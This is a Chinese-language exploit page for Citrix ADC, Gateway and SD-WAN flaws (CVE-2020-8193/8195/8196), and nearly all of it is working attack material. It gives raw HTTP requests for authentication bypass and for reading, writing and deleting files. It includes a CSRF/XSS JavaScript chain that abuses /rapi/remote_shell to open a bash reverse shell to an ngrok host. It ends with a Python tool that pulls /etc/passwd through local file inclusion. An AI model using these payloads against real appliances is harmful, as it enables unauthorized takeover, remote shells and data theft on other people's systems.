Citrix Systems产品安全漏洞 CVE-2020-8193, CVE-2020-8195 and CVE-2020-8196 poc
Citrix 简介
Citrix Systems Citrix Application Delivery Controller（ADC）等都是美国思杰系统（Citrix Systems）公司的产品。Citrix Application Delivery Controller是一款应用交付控制器。Citrix Systems Gateway（Citrix Systems NetScaler Gateway）是一套安全的远程接入解决方案。Citrix System SDWAN WAN-OP是一款SD-WAN（虚拟软件定义的广域网）设备。 Citrix Systems Citrix ADC、Citrix Gateway和Citrix SDWAN WAN-OP中存在安全漏洞。攻击者可利用该漏洞绕过权限限制。
权限绕过payload
发送如下payload即可获取设备最高权限
GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1
Host: citrix.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: SESSID=05afba59ef8e0e35933f3bc266941337
Upgrade-Insecure-Requests: 1
读取文件
xss to shell
利用视频如下
payload 如下
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://citrix.local/menu/stapp" method="POST">
<input type="hidden" name="sid" value="254" />
<input type="hidden" name="pe" value="1,2,3,4,5" />
<input type="hidden" name="appname" value="%0a</title><script src='http://localhost:9090/code_exec.js'></script>" />
<input type="hidden" name="au" value="1" />
<input type="hidden" name="username" value="nsroot" />
<input type="submit" value="Submit request" />
</form>
</body></html>
function load(url, callback) {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
rand = callback(xhr.response);
exec_command(rand);
}
}
xhr.open('GET', url, true);
xhr.send('');}
function get_rand(payload) {
var lines = payload.split("\n");
for(var i = 0; i < lines.length; i++) {
if (lines[i].includes('var rand = "')) {
var rand = lines[i].split('"')[1]
return rand;
}
}}
function exec_command(rand) {
url = '/rapi/remote_shell'
command = 'bash -c \"bash -i >%26 /dev/tcp/0.tcp.ngrok.io/16588 0>%261\"'
var obj = {
"params":{
"warning":"YES"
},
"remote_shell":{
"command":command,
"prompt":">",
"target":"shell",
"suppress":0,
"execute_in_partition":""
}
}
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
response = JSON.parse(xhr.response);
alert(response['remote_shell']['output']);
}
}
xhr.open('POST', url, true);
xhr.setRequestHeader('rand_key', rand)
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')
xhr.send('object=' + JSON.stringify(obj));
}
var url = '/menu/stc';load(url, get_rand)
写入文件payload
POST /rapi/uploadtext HTTP/1.1Host: citrix.localUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: https://citrix.local/menu/neoDNT: 1rand_key: 331543635.1580073639558554Connection: closeCookie: startupapp=neo; is_cisco_platform=0; st_splitter=350px; SESSID=05afba59ef8e0e35933f3bc266941337; rdx_pagination_size=25%20Per%20PageUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 99
object={"uploadtext":{"filedir":"/tmp","filedata":"test","filename":"test.txt"}}
删除文件
POST /rapi/filedownload?filter=remove:1,path:%2ftmp%2ftest HTTP/1.1
Host: citrix.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://citrix.local/menu/neo
If-Modified-Since: Thu, 01 Jan 1970 05:30:00 GMT
rand_key: 2061490565.1580290269373855
DNT: 1
X-NITRO-USER: henk
X-NITRO-PASS: henk
Connection: close
Cookie: startupapp=neo; is_cisco_platform=0; st_splitter=350px; rdx_pagination_size=25%20Per%20Page; SESSID=05afba59ef8e0e35933f3bc266941337
Content-Type: application/xml
Content-Length: 31
<clipermission></clipermission>
删除文件夹
POST /rapi/movelicensefiles HTTP/1.1
Host: citrix.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://citrix.local/menu/neo
If-Modified-Since: Thu, 01 Jan 1970 05:30:00 GMT
DNT: 1
Content-Type: application/x-www-form-urlencoded
Cookie: SESSID=9ed492e6ff1876d44ddcaec143d2f949
rand_key: 1384537322.1580549312074652
Content-Length: 52
object={"movelicensefiles":{"name":"../netscaler/portal/modules/STAT"}}
创建文件夹
POST /rapi/uploadtext HTTP/1.1
Host: citrix.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://citrix.local/menu/neo
DNT: 1
rand_key: 1467045781.1580550597345443
X-NITRO-USER: henk
X-NITRO-PASS: henk
Connection: close
Cookie: startupapp=neo; is_cisco_platform=0; st_splitter=350px; SESSID=05afba59ef8e0e35933f3bc266941337; rdx_pagination_size=25%20Per%20Page
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 114
object={"uploadtext":{"filedir":false,"filedata":"data","filename":"/var/tmp/new_directory/this_will_be_removed"}}
利用工具
#!/usr/bin/env python
import requestsimport sysimport stringimport randomimport jsonfrom urllib.parse import quote
# Slashes need to be urlencoded
PAYLOAD='%2fetc%2fpasswd'
requests.packages.urllib3.disable_warnings()
def random_string(length=8):
chars = string.ascii_letters + string.digits
random_string = ''.join(random.choice(chars) for x in range(length))
return random_string
def create_session(base_url, session):
url = '{0}/pcidss/report'.format(base_url)
params = {
'type':'allprofiles',
'sid':'loginchallengeresponse1requestbody',
'username':'nsroot',
'set':'1'
}
headers = {
'Content-Type':'application/xml',
'X-NITRO-USER':random_string(),
'X-NITRO-PASS':random_string(),
}
data = '<appfwprofile><login></login></appfwprofile>'
session.post(url=url, params=params, headers=headers, data=data, verify=False)
return session
def fix_session(base_url, session):
url = '{0}/menu/ss'.format(base_url)
params = {
'sid':'nsroot',
'username':'nsroot',
'force_setup':'1'
}
session.get(url=url, params=params, verify=False)
def get_rand(base_url, session):
url = '{0}/menu/stc'.format(base_url)
r = session.get(url=url, verify=False)
for line in r.text.split('\n'):
if 'var rand =' in line:
rand = line.split('"')[1]
return rand
def do_lfi(base_url, session, rand):
url = '{0}/rapi/filedownload?filter=path:{1}'.format(base_url, PAYLOAD)
headers = {
'Content-Type':'application/xml',
'X-NITRO-USER':random_string(),
'X-NITRO-PASS':random_string(),
'rand_key':rand
}
data = '<clipermission></clipermission>'
r = session.post(url=url, headers=headers, data=data, verify=False)
print (r.text)
def main(base_url):
print ('[-] Creating session..')
session = requests.Session()
create_session(base_url, session)
print ('[+] Got session: {0}'.format(session.cookies.get_dict()['SESSID']))
print('[-] Fixing session..')
fix_session(base_url, session)
print ('[-] Getting rand..')
rand = get_rand(base_url, session)
print ('[+] Got rand: {0}'.format(rand))
print ('[-] Re-breaking session..')
create_session(base_url, session)
print ('[-] Getting file..')
do_lfi(base_url, session, rand)
if __name__ == '__main__':
base_url = sys.argv[1]
main(base_url)
